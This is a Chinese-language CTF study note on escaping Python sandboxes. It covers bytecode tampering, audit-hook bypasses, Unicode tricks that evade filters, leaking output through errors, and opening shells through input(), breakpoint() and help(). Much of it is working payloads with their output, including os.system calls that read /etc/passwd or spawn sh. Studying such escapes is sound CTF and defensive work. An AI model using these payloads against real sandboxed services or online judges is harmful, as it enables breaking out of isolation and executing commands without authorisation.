  1. 首先声明了一个生成器 f,
    1. f 内部声明了全局变量 x 和 frame,意味着会在函数外部对其进行操作。
  2. x = f() 会实例化一个生成器,但由于生成器的延迟加载,此时生成器不会执行。
  3. x.send(None):这行代码启动了生成器,并让它执行到第一个 yield 语句。

测试代码如下:

import ast

flag = "flag{12345}"
code = '''
def f():
    global x, frame
    frame = x.gi_frame.f_back.f_back
    yield
x = f()
x.send(None)
print(frame.f_globals)
'''

print(ast.dump(ast.parse(code, mode='exec'), indent=4))
root = ast.parse(code)
compiled_code = compile(code,"<sandbox>", "exec")
# 又是一段严防死守的过滤
exec(
    compiled_code,
    None,   # globals,也可能是其他值
    None    # locals,也可能是其他值
)

OPcode

见过pickle的大概都知道OPcode是个什么东西

opcode又称为操作码,是将python源代码进行编译之后的结果,python虚拟机无法直接执行human-readable的源代码,因此python编译器第一步先将源代码进行编译,以此得到opcode。例如在执行python程序时一般会先生成一个pyc文件,pyc文件就是编译后的结果,其中含有opcode序列。

那么如何查看一个函数的opcode呢,写个例子看看先

import dis

code_str = 'print("a")'
code = compile(code_str, '<string>', 'exec')

dis.dis(code)

print("\nconsts: ", code.co_consts)
print("names: ", code.co_names)
print("code: ", code.co_code.hex())

image-20250704170021243

IMPORT_FROM、LOAD_ATTR 相互替换

思路来自于:

LOAD_ATTR 可以和 IMPORT_FROM 直接替换。

LOAD_NAME & LOAD_ATTR

LOAD_ATTR 是用来从对象中获取属性的字节码指令。它通常用于从一个已经加载到栈上的对象(如模块或类实例)中获取某个属性。

例如导入 os.system 函数

import os
os.system

对应的字节码如下,其中最为关键的就是 LOAD_NAME 和 LOAD_ATTR。

  2           0 LOAD_CONST               0 (0)
              2 LOAD_CONST               1 (None)
              4 IMPORT_NAME              0 (os)
              6 STORE_NAME               0 (os)

  3           8 LOAD_NAME                0 (os)
             10 LOAD_ATTR                1 (system)
             12 POP_TOP
             14 LOAD_CONST               1 (None)
             16 RETURN_VALUE

consts:  (0, None)
names:  ('os', 'system')
code:  640064016c005a0065006a01010064015300
6400 -> LOAD_CONST, consts[0] -> 0
6401 -> LOAD_CONST, consts[1] -> None
6c00 -> IMPORT_NAME, names[0] -> os
5a00 -> STORE_NAME, names[0] -> os
6500 -> LOAD_NAME, names[0] -> os
6a01 -> LOAD_ATTR, names[1] -> system
0100 -> POP_TOP
6401 -> LOAD_CONST, consts[1] -> None
5300 -> RETURN_VALUE

IMPORT_NAME & IMPORT_FROM

如果使用 from 来进行函数导入:

from os import sys

得到的字节码信息如下,可以看到使用的是 IMPORT_NAME 和 IMPORT_FROM 组合

  2           0 LOAD_CONST               0 (0)
              2 LOAD_CONST               1 (('system',))
              4 IMPORT_NAME              0 (os)
              6 IMPORT_FROM              1 (system)
              8 STORE_NAME               1 (system)
             10 POP_TOP
             12 LOAD_CONST               2 (None)
             14 RETURN_VALUE

consts:  (0, ('system',), None)
names:  ('os', 'system')
code:  640064016c006d015a01010064025300
6400 -> LOAD_CONST, consts[0] -> 0
6401 -> LOAD_CONST, consts[1] -> ('system',)
6c00 -> IMPORT_NAME, names[0] -> os
6d01 -> IMPORT_FROM, names[1] -> system
5a01 -> STORE_NAME, arg -> 1
0100 -> POP_TOP
6402 -> LOAD_CONST, consts[2] -> None
5300 -> RETURN_VALUE

替换字节码

在 LACTF 2023 Pycjail 这道题的场景中,用户输入的 const、names、code 最终会替换到题目中的一个空函数中并执行。排除掉题目其他的过滤,大致的逻辑如下:

  1. 填充 f 函数 co_consts、co_names、co_code
  2. 然后执行函数。

测试代码如下:

def f():
    pass

f.__code__ = f.__code__.replace(
    co_stacksize=10,
    co_consts=("a", 139, "system", "dir"),
    co_names=tuple("__class__,__base__,__subclasses__,__init__,__globals__".split(",")),
    co_code=bytes.fromhex(trans_bytes("64006a006a01a002a100640119006a036a046402190064038301010064045300")),
)


print("here goes!")
frame = inspect.currentframe()
p = print
r = repr
for k in list(frame.f_globals):
    if k not in ("p", "r", "f"):
        del frame.f_globals[k]

p(r(f()))

我们可以使用下面的脚本来生成 payload,我本地的 _wrap_close 的索引为 139.

import dis
import inspect
from test_opcode_display import display_opcode_py310
code_str = '''
'a'.__class__.__base__.__subclasses__()[139].__init__.__globals__['system']('dir')
'''

code = compile(code_str, '<string>', 'exec')

dis.dis(code)

print("\nconsts: ", code.co_consts)
print("names: ", code.co_names)
print("code: ", code.co_code.hex())

# 64006d006d01a002a100640119006d036d046402190064038301010064045300

LOAD_ATTR 对应操作码 6a,IMPORT_FROM 对应字节码为 6d,当我将 6a 直接替换为 6d 时,居然能够正常执行!

无回显

在 Python 中使用 exec 函数执行代码时,默认情况下没有输出,如果想要再 exec 中打印结果,就需要在执行代码块时假如 print。

AmateursCTF 2023 的一道题目为例,题目的源码如下:

#!/usr/local/bin/python
from flag import flag

for _ in [flag]:
    while True:
        try:
            code = ascii(input("Give code: "))
            if "flag" in code or "e" in code or "t" in code or "\\" in code:
                raise ValueError("invalid input")
            exec(eval(code))
        except Exception as err:
            print(err)

在这道题中,首先通过 ascii 将输入进行转化,使用 ascii 后,即使 unicode,也会被转化为 \u00xx 的形式。然后判断输入中是否出现了 flag、e、t、以及 \。这样的过滤条件基本将 unicode 绕过的方式给限制住了。过滤了 e 和 t, print、help 等输出函数也会被过滤, 而题目使用 exec 来执行 python 代码,因此除了绕过过滤之外,还需要考虑如何获取输出。

注意到这道题添加了一个异常处理,如果 exec 中出现错误,则会将错误信息打印出来,借助异常处理的输出,就可以将 Python 中的一些内部变量给带出来。

利用异常处理

作为客户端输入,结合当前读取变量的场景,python 中可利用的一些异常大多为:

  • KeyError(键错误): 当访问字典中不存在的键时引发的错误。(用户输入的键名被应用使用)
  • FileNotFoundError(文件未找到错误): 在尝试打开不存在的文件时引发的错误。
  • ValueError(值错误): 当函数接收到正确类型的参数,但参数值不合适时引发的错误。

这道题中 _ 与 flag 的值一致,因此我们只需要获取变量 _ 就可以获取 flag。

KeyError

KeyError 出现在访问字典中不存在的键,利用时,可以随便构造一个字典,然后以需要读取的变量作为键名传进去。比如在这道题中输入:

Give code: {"1":"2"}[_]
'flag{xxxx}'
FileNotFoundError

FileNotFoundError 出现在找不到指定文件时,将需要读取的变量名传入文件操作函数就可以触发异常。例如 file(python2)、open 等。

但由于题目过滤了 e,这些函数都无法使用,如果需要测试的话可以将过滤的语句删除掉。

Give code: open(_)
[Errno 2] No such file or directory: 'flag{xxxx}'
ValueError

ValueError 比较好利用,只需要将需要读取的变量,传入一个函数,该函数的参数类型与这个要读取的变量不一致即可,例如:

Give code: int(_)
ValueError: invalid literal for int() with base 10: 'flag{xxxx}'

当然这里过滤了 t,int 函数无法使用,可以去寻找一些别的函数。

Popen.returncode

在 aliyunCTF 2025 ezoj 这道题中,给出了一个使用 subprocess.Popen 执行 python 脚本,但无回显的情况,

process = subprocess.Popen(
    ["python3", code_filename],
    stdin=infile,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE,
    text=True,
)

try:
    stdout, stderr = process.communicate(timeout=5)
except subprocess.TimeoutExpired:
    process.kill()
    raise OJTimeLimitExceed

if process.returncode != 0:
    raise OJRuntimeError(process.returncode)

但是题目给了一个 OJRuntimeError,并且传入了 returncode 属性。returncode 属性用于保存子进程退出时返回的退出码,反映了子进程是在正常结束还是在运行过程中出现异常。

这道题会将错误码发送给客户端:

except OJRuntimeError as e:
    return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}

returncode 的可能取值有以下几种

  • None:表示子进程尚未终止,此时 returncode 还没有被赋值。
  • 0:表示子进程成功结束,没有发生错误。
  • 正整数:表示子进程执行时出现了错误,返回码通常会反映错误类型或状态码。
  • 负整数:(仅在 POSIX 系统中)表示子进程被某个信号强制终止,其数值通常为 -N,其中 N 是引起终止的信号编号。

由于 ascii 也是 0-255,借助这个 returncode 就可以实现回显,但 returncode 仅有一位,所以需要逐位回显。

import sys
...

content_len = len(content)
if {loc} < content_len:
    sys.exit(content[{loc}])
else:
    sys.exit(255)

钩子爹来咯!

钩子是什么?钩子就是钩子啊

Audit Hook审计钩子是Python3.8开始引入的一项安全功能旨在让 Python 运行时的操作对外部监控工具可见。该功能允许开发者通过注册钩子函数来监控和控制特定的事件,尤其是与安全相关的操作。这种机制为系统管理员、测试人员和安全专家提供了一个有效的手段来检测、记录或阻止特定操作。

审计钩子通过 sys.addaudithook() 函数添加。每当发生特定事件时,Python会调用这些钩子函数,并将事件名称和相关参数传递给它们。钩子函数可以选择记录这些事件,或者在检测到不允许的操作时抛出异常,从而阻止操作继续进行。

而发生审计事件时,Python就会调用这些钩子

Python 中的审计事件包括但不限于以下几类:

  • import:发生在导入模块时。
  • open:发生在打开文件时。
  • write:发生在写入文件时。
  • exec:发生在执行Python代码时。
  • compile:发生在编译Python代码时。
  • socket:发生在创建或使用网络套接字时。
  • os.systemos.popen等:发生在执行操作系统命令时。
  • subprocess.Popensubprocess.run等:发生在启动子进程时

所有的事件列表可见:

你可以定义一个函数

def waf(event,args):
	if not event in ["builtins.input","builtins.input/result"]:
		raise Exception("Errror")
sys.addaudithook(waf)

接着之后的代码一旦不在白名单内就会raise Exception

篡改内置函数

乱七八糟的WAF

过滤import

__import__

除了可以使用 import,还可以使用 __import__importlib.import_module来导入模块
importlib 需要进行导入后才能够使用

还可以使用execfile

__import__('os')
importlib.import_module('os').system('ls')

#py2
execfile('/usr/lib/python2.7/os.py')

#py3
with open('/usr/lib/python3.6/os.py','r') as f:
    exec(f.read())
    #这个是需要事先知道路径的,要用sys.path(if)去事先试探一下

__loader__

__loader__.load_module底层实现与 import 不同, 可以绕过audithook

__loader__.load_module('os')

过滤字母

可以用全角字符绕过半角字符

def halfwidth_to_fullwidth(text):
    """将半角字符转换为全角字符"""
    result = []
    for char in text:
        code = ord(char)
        if code == 0x20:  # 半角空格 → 全角空格
            result.append('\u3000')
        elif 0x21 <= code <= 0x7E:  # 可打印ASCII字符 → 全角字符
            result.append(chr(code + 0xFEE0))
        else:  # 其他字符保持不变
            result.append(char)
    return ''.join(result)

# 目标字符串
target_string = "eval"

# 转换并直接打印结果
print(halfwidth_to_fullwidth(target_string))

image-20250703093113593

可以看到绕过成功

还有一种方法也可以绕过,利用特殊的Unicode字符

𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗
𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻 
𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡
#coding=utf-8
def convert_to_math_sans_italic(text):
    result = []
    for char in text:
        code = ord(char)
        if 0x30 <= code <= 0x39:
            result.append(chr(code - 0x30 + 0x1D7EC))
        elif 0x61 <= code <= 0x7A:
            result.append(chr(code - 0x61 + 0x1D622))
        elif 0x41 <= code <= 0x5A:
            result.append(chr(code - 0x41 + 0x1D608))
        else:
            result.append(char)
    return ''.join(result)

if __name__ == "__main__":
    original = "eval"
    converted = convert_to_math_sans_italic(original)
    print("原始字符串:", original)
    print("转换结果: ", converted)

image-20250703094342023

可以看到也绕过成功了

但是要注意的是放在语句中时绝对不能用全角字符作开头,会褒姒

image-20250703094649462

过滤属性

利用一下getattr这个函数

功能其实就是获取类的某个属性值

>>> getattr(os,'system')('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh

也可以用__getattribute__方法替换

>>> os.__getattribute__('system')
<built-in function system>

还可以用__getattr__

这是一个魔术方法

行数限制

绕过多行限制的利用手法通常在限制了单行代码的情况下使用,例如 eval, 中间如果存在;或者换行会报错。

>>> eval("__import__('os');print(1)")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1
    __import__('os');print(1)
exec

exec 可以支持换行符与;

>>> eval("exec('__import__(\"os\")\\nprint(1)')")
1
compile

compile 在 single 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码.

eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''')
海象表达式

海象表达式是 Python 3.8 引入的一种新的语法特性,用于在表达式中同时进行赋值和比较操作。

海象表达式的语法形式如下:

<expression> := <value> if <condition> else <value>

借助海象表达式,我们可以通过列表来替代多行代码:

>>> eval('[a:=__import__("os"),b:=a.system("id")]')
uid=1000(kali) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
[<module 'os' (frozen)>, 0]

长度限制

BYUCTF_2023 中的几道 jail 题对 payload 的长度作了限制

eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

题目限制不能出现数字字母,构造的目标是调用 open 函数进行读取

print(open(bytes([102,108,97,103,46,116,120,116])).read())

函数名比较好绕过,直接使用 unicode。数字也可以使用 ord 来获取然后进行相减。我这里选择的是 chr(333).

# f = 102 = 333-231 = ord('ō')-ord('ç')
# a = 108 = 333-225 = ord('ō')-ord('á')
# l = 97 = 333-236 = ord('ō')-ord('ì')
# g = 103 = 333-230 = ord('ō')-ord('æ')
# . = 46 = 333-287 = ord('ō')-ord('ğ')
# t = 116 = 333-217 = ord('ō')-ord('Ù')
# x = 120 = = 333-213 = ord('ō')-ord('Õ')

print(open(bytes([ord('ō')-ord('ç'),ord('ō')-ord('á'),ord('ō')-ord('ì'),ord('ō')-ord('æ'),ord('ō')-ord('ğ'),ord('ō')-ord('Ù'),ord('ō')-ord('Õ'),ord('ō')-ord('Ù')])).read())

但这样的话其实长度超出了限制。而题目的 eval 表示不支持分号 ;,这种情况下,我们可以添加一个 exec。然后将 ord 以及不变的 a('ō') 进行替换。这样就可以构造一个满足条件的 payload

exec("a=ord;b=a('ō');print(open(bytes([b-a('ç'),b-a('á'),b-a('ì'),b-a('æ'),b-a('ğ'),b-a('Ù'),b-a('Õ'),b-a('Ù')])).read())")

但其实尝试之后发现这个 payload 会报错,原因在于其中的某些 unicode 字符遇到 lower() 时会发生变化,避免 lower 产生干扰,可以在选取 unicode 时选择 ord 值更大的字符。例如 chr(4434)

当然,可以直接使用 input 函数来绕过长度限制。

打开 input 输入

如果沙箱内执行的内容是通过 input 进行传入的话(不是 web 传参),我们其实可以传入一个 input 打开一个新的输入流,然后再输入最终的 payload,这样就可以绕过所有的防护。

以 BYUCTF2023 jail a-z0-9 为例:

eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

即使限制了字母数字以及长度,我们可以直接传入下面的 payload(注意是 unicode)

𝘦𝘷𝘢𝘭(𝘪𝘯𝘱𝘶𝘵())

这段 payload 打开 input 输入后,我们再输入最终的 payload 就可以正常执行。

__import__('os').system('whoami')

打开输入流需要依赖 input 函数,no builtins 的环境中或者题目需要以 http 请求的方式进行输入时,这种方法就无法使用了。

下面是一些打开输入流的方式:

  • sys.stdin.read()

注意输入完毕之后按 ctrl+d 结束输入

>>> eval(sys.stdin.read())
__import__('os').system('whoami')
kali
0
>>>
  • sys.stdin.readline()
>>> eval(sys.stdin.readline())
__import__('os').system('whoami')
  • sys.stdin.readlines()
>>> eval(sys.stdin.readlines()[0])
__import__('os').system('whoami')

在 python2 中,在python 2中,input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。

breakpoint 函数

pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码

>>> 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
--Return--
> <stdin>(1)<module>()->None
(Pdb) __import__('os').system('ls')
a-z0-9.py  exp2.py  exp.py  flag.txt
0
(Pdb) __import__('os').system('sh')
$ ls
a-z0-9.py  exp2.py  exp.py  flag.txt
help 函数

help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh

当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助

𝘩𝘦𝘭𝘱()

然后输入 os,此时会进入 os 的帮助文档。

help> os

然后在输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash

help> os
$ ls
a-z0-9.py  exp2.py  exp.py  flag.txt
$

vm逃逸